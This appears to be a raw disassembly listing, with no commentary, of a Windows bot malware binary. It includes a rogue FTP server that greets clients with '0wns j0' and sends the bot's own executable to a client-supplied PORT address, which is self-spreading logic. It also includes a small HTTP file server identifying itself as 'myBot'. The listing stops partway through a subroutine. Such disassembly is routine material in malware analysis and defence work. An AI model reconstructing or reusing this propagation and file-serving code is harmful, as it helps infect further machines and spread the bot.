var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_1C], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_24], ebx
mov [ebp+var_23C], esi
mov [ebp+var_43C], esi
call dword_4E04FC ; WSAStartup
push esi
push ebx
push 2
call dword_4E051C ; socket
mov esi, dword_4E0500
lea ecx, [ebp+var_1C]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_2C]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_24]
push eax
push 8004667Eh
push edi
call dword_4E052C ; ioctlsocket
mov ax, word ptr dword_4D63A0
and [ebp+var_48], 0
push eax
mov [ebp+var_4C], 2
call dword_4D6668 ; ntohs
mov [ebp+var_4A], ax
lea eax, [ebp+var_4C]
push 10h
push eax
push edi
call dword_4E0508 ; bind
test eax, eax
jge short loc_40D1BD
mov eax, ebx
jmp loc_40D708
; ---------------------------------------------------------------------------
loc_40D1BD: ; CODE XREF: sub_40D0F7+BDj
push 0Ah
push edi
call dword_4E050C ; listen
mov [ebp+var_23C], ebx
mov ebx, dword_4E0520
mov [ebp+var_238], edi
mov [ebp+var_4], edi
loc_40D1DB: ; CODE XREF: sub_40D0F7+11Bj
; sub_40D0F7+609j
push 41h
lea esi, [ebp+var_23C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor edi, edi
lea eax, [ebp+var_43C]
push edi
push edi
push edi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4E0524 ; select
cmp eax, 0FFFFFFFFh
jz loc_40D705
cmp [ebp+var_4], edi
mov [ebp+arg_0], edi
jl short loc_40D1DB
loc_40D214: ; CODE XREF: sub_40D0F7+603j
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_417700
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_417700
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_433746 ; __WSAFDIsSet
test eax, eax
jz loc_40D6F3
cmp edi, [ebp+var_8]
jnz short loc_40D2BD
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_4E0510 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40D6F3
mov edx, [ebp+var_23C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40D28F
loc_40D281: ; CODE XREF: sub_40D0F7+196j
cmp [ebp+ecx*4+var_238], eax
jz short loc_40D28F
inc ecx
cmp ecx, edx
jb short loc_40D281
loc_40D28F: ; CODE XREF: sub_40D0F7+188j
; sub_40D0F7+191j
cmp ecx, edx
jnz short loc_40D2A5
cmp edx, 40h
jnb short loc_40D2A5
mov [ebp+ecx*4+var_238], eax
inc [ebp+var_23C]
loc_40D2A5: ; CODE XREF: sub_40D0F7+19Aj
; sub_40D0F7+19Fj
cmp eax, [ebp+var_4]
jle short loc_40D2AD
mov [ebp+var_4], eax
loc_40D2AD: ; CODE XREF: sub_40D0F7+1B1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40D6F3
; ---------------------------------------------------------------------------
loc_40D2BD: ; CODE XREF: sub_40D0F7+158j
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_4E0514 ; recv
test eax, eax
jg short loc_40D31A
mov ecx, [ebp+var_23C]
xor eax, eax
cmp ecx, esi
jbe short loc_40D30E
loc_40D2DE: ; CODE XREF: sub_40D0F7+1F3j
cmp [ebp+eax*4+var_238], edi
jz short loc_40D303
inc eax
cmp eax, ecx
jb short loc_40D2DE
jmp short loc_40D30E
; ---------------------------------------------------------------------------
loc_40D2EE: ; CODE XREF: sub_40D0F7+20Fj
mov ecx, [ebp+eax*4+var_234]
mov [ebp+eax*4+var_238], ecx
mov ecx, [ebp+var_23C]
inc eax
loc_40D303: ; CODE XREF: sub_40D0F7+1EEj
dec ecx
cmp eax, ecx
jb short loc_40D2EE
dec [ebp+var_23C]
loc_40D30E: ; CODE XREF: sub_40D0F7+1E5j
; sub_40D0F7+1F5j
push edi
call dword_4E0518 ; closesocket
jmp loc_40D6F3
; ---------------------------------------------------------------------------
loc_40D31A: ; CODE XREF: sub_40D0F7+1D9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_1 ; "%s %s"
push eax
call sub_419670
lea eax, [ebp+var_B0]
push offset aUser_2 ; "USER"
push eax
call sub_418A30
add esp, 18h
test eax, eax
jnz short loc_40D35E
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D35E: ; CODE XREF: sub_40D0F7+258j
lea eax, [ebp+var_B0]
push offset aPass_0 ; "PASS"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D382
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D382: ; CODE XREF: sub_40D0F7+27Cj
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3A6
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D3A6: ; CODE XREF: sub_40D0F7+2A0j
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3CA
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D3CA: ; CODE XREF: sub_40D0F7+2C4j
lea eax, [ebp+var_B0]
push offset off_440C14
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3EE
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D3EE: ; CODE XREF: sub_40D0F7+2E8j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D429
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D429
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D429: ; CODE XREF: sub_40D0F7+30Cj
; sub_40D0F7+323j
lea eax, [ebp+var_B0]
push offset aType_0 ; "TYPE"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D464
lea eax, [ebp+var_338]
push offset aI_0 ; "I"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D464
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D464: ; CODE XREF: sub_40D0F7+347j
; sub_40D0F7+35Ej
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D4B2
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40D4A2: ; CODE XREF: sub_40D0F7+3FAj
push eax
push [ebp+arg_0]
call ebx ; send
mov edi, [ebp+arg_0]
xor esi, esi
jmp loc_40D6E1
; ---------------------------------------------------------------------------
loc_40D4B2: ; CODE XREF: sub_40D0F7+382j
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D4F3
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40D4A2
; ---------------------------------------------------------------------------
loc_40D4F3: ; CODE XREF: sub_40D0F7+3D0j
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40D5C4
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_2A0]
push offset aS_14 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_419670
lea eax, [ebp+var_FC]
push eax
call sub_417960
mov [ebp+var_C], eax
lea eax, [ebp+var_2D4]
push eax
call sub_417960
mov [ebp+arg_0], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_417700
push [ebp+arg_0]
lea eax, [ebp+var_FC]
push [ebp+var_C]
push offset aXX ; "%x%x\n"
push eax
call sub_417CB0
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_418560
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_417CB0
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
jmp loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D5C4: ; CODE XREF: sub_40D0F7+411j
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40D6BF
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
call sub_40D70F
pop ecx
cmp eax, 1
pop ecx
jnz loc_40D6B5
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferSta ; "ftp transfer started to: %s"
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40D644
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_40764A
add esp, 14h
loc_40D644: ; CODE XREF: sub_40D0F7+528j
call sub_40D78C
cmp eax, 1
jnz loc_40D6E1
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferCom ; "ftp transfer complete to: %s"
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40D6A0
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_40764A
add esp, 14h
loc_40D6A0: ; CODE XREF: sub_40D0F7+584j
lea eax, [ebp+var_8E0]
push eax
call sub_40F927
inc dword_4D9174
pop ecx
jmp short loc_40D6E1
; ---------------------------------------------------------------------------
loc_40D6B5: ; CODE XREF: sub_40D0F7+504j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40D6DE
; ---------------------------------------------------------------------------
loc_40D6BF: ; CODE XREF: sub_40D0F7+4E2j
lea eax, [ebp+var_B0]
push offset aQuit_1 ; "QUIT"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40D6E1
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40D6DE: ; CODE XREF: sub_40D0F7+262j
; sub_40D0F7+286j ...
push edi
call ebx ; send
loc_40D6E1: ; CODE XREF: sub_40D0F7+3B6j
; sub_40D0F7+555j ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_417700
add esp, 0Ch
loc_40D6F3: ; CODE XREF: sub_40D0F7+14Fj
; sub_40D0F7+178j ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40D214
jmp loc_40D1DB
; ---------------------------------------------------------------------------
loc_40D705: ; CODE XREF: sub_40D0F7+10Fj
xor eax, eax
inc eax
loc_40D708: ; CODE XREF: sub_40D0F7+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40D0F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D70F proc near ; CODE XREF: sub_40D0F7+4FAp
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4E04FC ; WSAStartup
push 0
push 1
push 2
call dword_4E051C ; socket
push [ebp+arg_0]
mov dword_4D93A4, eax
mov [ebp+var_10], 2
call dword_4E0504 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4E04F0 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4D93A4
call dword_4E04F4 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40D787
push dword_4D93A4
call dword_4E0518 ; closesocket
call dword_4E04F8 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40D787: ; CODE XREF: sub_40D70F+60j
xor eax, eax
inc eax
leave
retn
sub_40D70F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D78C proc near ; CODE XREF: sub_40D0F7:loc_40D644p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_4E0334 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_4176E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40D823
test byte ptr [esi+0Ch], 10h
jnz short loc_40D807
push edi
mov edi, 400h
loc_40D7CF: ; CODE XREF: sub_40D78C+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_4173D0
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4D93A4
call dword_4E0520 ; send
push 1
call dword_4E033C ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40D7CF
pop edi
loc_40D807: ; CODE XREF: sub_40D78C+3Bj
push esi
call sub_414F40
pop ecx
push dword_4D93A4
call dword_4E0518 ; closesocket
call dword_4E04F8 ; WSACleanup
xor eax, eax
inc eax
loc_40D823: ; CODE XREF: sub_40D78C+35j
pop esi
leave
retn
sub_40D78C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D826 proc near ; DATA XREF: sub_401C87+1E67o
; sub_40A01B+46Co
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = byte ptr -138h
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_4181D0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
xor ebx, ebx
rep movsd
xor esi, esi
push 10h
inc esi
push ebx
mov [eax+3ACh], esi
lea eax, [ebp+var_24]
push eax
mov [ebp+var_14], esi
call sub_417700
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4D6668 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4D66E8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_40DBF2
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_4495AC[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4D6694 ; bind
cmp eax, 0FFFFFFFFh
jz loc_40DBF2
push 7FFFFFFFh
push edi
call dword_4D6690 ; listen
cmp eax, 0FFFFFFFFh
jz loc_40DBF2
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4D6704 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_40DBF2
mov ebx, esi
mov [ebp+var_124], edi
mov [ebp+var_128], ebx
mov [ebp+var_4], edi
loc_40D8FD: ; CODE XREF: sub_40D826+3C2j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_128]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_4]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4D6650 ; select
cmp eax, 0FFFFFFFFh
jz loc_40DBED
xor edi, edi
mov [ebp+arg_0], edi
loc_40D933: ; CODE XREF: sub_40D826+3BCj
lea eax, [ebp+var_6F0]
push eax
push edi
call dword_4D6554 ; __WSAFDIsSet
test eax, eax
jz loc_40DBD8
cmp edi, [ebp+var_8]
jnz short loc_40D9B4
lea eax, [ebp+var_C]
mov [ebp+var_C], 10h
push eax
lea eax, [ebp+var_138]
push eax
push [ebp+var_8]
call dword_4D66FC ; accept
cmp eax, 0FFFFFFFFh
jz loc_40DBD8
xor ecx, ecx
test ebx, ebx
jbe short loc_40D986
loc_40D978: ; CODE XREF: sub_40D826+15Ej
cmp [ebp+ecx*4+var_124], eax
jz short loc_40D986
inc ecx
cmp ecx, ebx
jb short loc_40D978
loc_40D986: ; CODE XREF: sub_40D826+150j
; sub_40D826+159j
cmp ecx, ebx
jnz short loc_40D9A3
cmp ebx, 40h
jnb short loc_40D9A3
mov [ebp+ecx*4+var_124], eax
mov ebx, [ebp+var_128]
inc ebx
mov [ebp+var_128], ebx
loc_40D9A3: ; CODE XREF: sub_40D826+162j
; sub_40D826+167j
cmp eax, [ebp+var_4]
jbe loc_40DBD8
mov [ebp+var_4], eax
jmp loc_40DBD8
; ---------------------------------------------------------------------------
loc_40D9B4: ; CODE XREF: sub_40D826+126j
mov esi, 1000h
lea eax, [ebp+var_28F0]
push esi
push 0
push eax
call sub_417700
push esi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417700
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push esi
push eax
push edi
call dword_4D6680 ; recv
test eax, eax
jg short loc_40DA3B
push edi
call dword_4D6700 ; closesocket
xor eax, eax
test ebx, ebx
jbe loc_40DBD8
loc_40DA00: ; CODE XREF: sub_40D826+1E6j
cmp [ebp+eax*4+var_124], edi
jz short loc_40DA28
inc eax
cmp eax, ebx
jb short loc_40DA00
jmp loc_40DBD8
; ---------------------------------------------------------------------------
loc_40DA13: ; CODE XREF: sub_40D826+207j
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40DA28: ; CODE XREF: sub_40D826+1E1j
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40DA13
dec ebx
mov [ebp+var_128], ebx
jmp loc_40DBD8
; ---------------------------------------------------------------------------
loc_40DA3B: ; CODE XREF: sub_40D826+1C7j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_417700
lea eax, [ebp+var_28F0]
xor edi, edi
push eax
call sub_414EC0
add esp, 10h
test eax, eax
jbe loc_40DBD8
loc_40DA68: ; CODE XREF: sub_40D826+2FFj
mov al, [ebp+edi+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40DB14
lea eax, [ebp+var_18F0]
push offset aGet_0 ; "GET "
push eax
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz short loc_40DAE4
lea eax, [ebp+var_18F0]
push eax
call sub_414EC0
cmp eax, 5
pop ecx
jbe short loc_40DAE4
push offset asc_440E06 ; " "
push offset asc_440E08 ; " "
lea eax, [ebp+var_18F0]
push offset aGet_1 ; "GET "
push eax
call sub_417E00
pop ecx
pop ecx
push eax
call sub_417E00
pop ecx
pop ecx
push eax
call sub_418AC0
push eax
lea eax, [ebp+var_23C]
push eax
call sub_418870
add esp, 10h
jmp short loc_40DAFB
; ---------------------------------------------------------------------------
loc_40DAE4: ; CODE XREF: sub_40D826+26Dj
; sub_40D826+27Fj
lea eax, [ebp+var_18F0]
push offset asc_440E14 ; "\r\n"
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_40DB30
loc_40DAFB: ; CODE XREF: sub_40D826+2BCj
push 1000h
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417700
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40DB14: ; CODE XREF: sub_40D826+252j
lea eax, [ebp+var_28F0]
inc edi
push eax
inc esi
call sub_414EC0
cmp edi, eax
pop ecx
jb loc_40DA68
jmp loc_40DBD8
; ---------------------------------------------------------------------------
loc_40DB30: ; CODE XREF: sub_40D826+2D3j
xor eax, eax
test ebx, ebx
jbe short loc_40DB6C
loc_40DB36: ; CODE XREF: sub_40D826+31Fj
mov ecx, [ebp+eax*4+var_124]
cmp ecx, [ebp+arg_0]
jz short loc_40DB5E
inc eax
cmp eax, ebx
jb short loc_40DB36
jmp short loc_40DB6C
; ---------------------------------------------------------------------------
loc_40DB49: ; CODE XREF: sub_40D826+33Dj
mov ecx, [ebp+eax*4+var_120]
mov [ebp+eax*4+var_124], ecx
mov ebx, [ebp+var_128]
inc eax
loc_40DB5E: ; CODE XREF: sub_40D826+31Aj
lea ecx, [ebx-1]
cmp eax, ecx
jb short loc_40DB49
dec ebx
mov [ebp+var_128], ebx
loc_40DB6C: ; CODE XREF: sub_40D826+30Ej
; sub_40D826+321j
lea eax, [ebp+var_360]
push eax
call sub_414EC0
mov esi, eax
lea eax, [ebp+var_23C]
push eax
call sub_414EC0
add esi, eax
pop ecx
cmp esi, 104h
pop ecx
jnb short loc_40DBCF
and [ebp+var_10], 0
lea eax, [ebp+var_10]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_4D6704 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push [ebp+arg_0]
call sub_40DDDE
add esp, 14h
jmp short loc_40DBD8
; ---------------------------------------------------------------------------
loc_40DBCF: ; CODE XREF: sub_40D826+36Aj
push [ebp+arg_0]
call dword_4D6700 ; closesocket
loc_40DBD8: ; CODE XREF: sub_40D826+11Dj
; sub_40D826+146j ...
mov edi, [ebp+arg_0]
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jbe loc_40D933
jmp loc_40D8FD
; ---------------------------------------------------------------------------
loc_40DBED: ; CODE XREF: sub_40D826+102j
mov edi, [ebp+var_8]
xor ebx, ebx
loc_40DBF2: ; CODE XREF: sub_40D826+6Aj
; sub_40D826+92j ...
call dword_4D65FC ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_440E18
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40DC38
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40764A
add esp, 14h
loc_40DC38: ; CODE XREF: sub_40D826+3EDj
lea eax, [ebp+var_8F0]
push eax
call sub_40F927
pop ecx
push edi
call dword_4D6700 ; closesocket
push [ebp+var_254]
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_40D826 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC62 proc near ; DATA XREF: sub_40DDDE+245o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_4181D0
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_417CB0
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_417CB0
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
lea eax, [ebp+var_9C]
jz short loc_40DCCD
push offset aTextHtml ; "text/html"
jmp short loc_40DCD2
; ---------------------------------------------------------------------------
loc_40DCCD: ; CODE XREF: sub_40DC62+62j
push offset aApplicationOct ; "application/octet-stream"
loc_40DCD2: ; CODE XREF: sub_40DC62+69j
push eax
call sub_417CB0
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call dword_4E03D0 ; GetDateFormatA
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call dword_4E03CC ; GetTimeFormatA
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_9C]
jnz short loc_40DD45
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_417CB0
add esp, 24h
jmp short loc_40DD60
; ---------------------------------------------------------------------------
loc_40DD45: ; CODE XREF: sub_40DC62+CAj
push [ebp+var_B8]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_417CB0
add esp, 28h
loc_40DD60: ; CODE XREF: sub_40DC62+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4D66B8 ; send
cmp [ebp+var_A4], edi
jnz short loc_40DDA0
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_40E70E
pop ecx
pop ecx
jmp short loc_40DDBD
; ---------------------------------------------------------------------------
loc_40DDA0: ; CODE XREF: sub_40DC62+126j
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_40E08D
add esp, 10h
loc_40DDBD: ; CODE XREF: sub_40DC62+13Cj
push [ebp+var_44C]
call dword_4D6700 ; closesocket
push [ebp+var_B4]
call sub_409979
pop ecx
push edi
call dword_4E03A0 ; ExitThread
pop edi
pop esi
sub_40DC62 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DDDE proc near ; CODE XREF: sub_40D826+39Fp
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_417700
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_40DE14
push offset aS_15 ; "\\%s"
jmp short loc_40DE1C
; ---------------------------------------------------------------------------
loc_40DE14: ; CODE XREF: sub_40DDDE+2Dj
